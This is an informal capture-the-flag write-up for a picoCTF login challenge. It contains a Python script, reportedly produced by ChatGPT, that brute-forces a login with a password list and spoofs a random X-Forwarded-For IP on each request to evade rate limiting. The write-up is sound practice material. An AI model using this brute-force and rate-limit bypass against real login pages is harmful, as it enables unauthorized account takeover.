crack the gate 2

tried to capture the req in the burpsuiteperfectly !!!

but nothing from there

i just got the hint like x-forwarded for ip and then i need to get the different ips possible to make sure i am not rate limited

i got the following code from the chatgpt

import requests
import random

TARGET = "http://amiable-citadel.picoctf.net:62476/login"  # <- tera port
PASSWORD_FILE = "/home/kali/Downloads/passwords.txt"
EMAIL = "[e-mail]"
TIMEOUT = 10

def rand_ip():
    return "{}.{}.{}.{}".format(
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254)
    )

session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) "
                  "Chrome/125.0.6422.60 Safari/537.36"
})

base_len = None

with open(PASSWORD_FILE, "r", encoding="utf-8", errors="ignore") as fh:
    for i, line in enumerate(fh, start=1):
        pwd = line.strip()
        if not pwd:
            continue

        ip = rand_ip()

        headers = {
            "X-Forwarded-For": ip
        }

        data = {
            "email": EMAIL,
            "password": pwd
        }

        try:
            # agar site JSON chahti ho to:
            # r = session.post(TARGET, json=data, headers=headers, timeout=TIMEOUT, allow_redirects=True)
            r = session.post(TARGET, data=data, headers=headers,
                             timeout=TIMEOUT, allow_redirects=True)

            status = r.status_code
            length = len(r.content)

            if base_len is None:
                base_len = length

            print(f"[{i}] {pwd} | status={status} | len={length}")

            # Agar response length alag hai to highlight kar:
            if length != base_len:
                print(f"  >>> POSSIBLE HIT for password: {pwd}")
                # yaha optionally r.text print kar sakta hai dekhne ke liye:
                # print(r.text)
                # break

        except requests.RequestException as e:
            print(f"Error on {pwd}: {e}")

output

X-Forwarded-For: <random ip >644444

so basically the logic is to bypass the rate limit possible ......

login with this pass and u got that flag !!!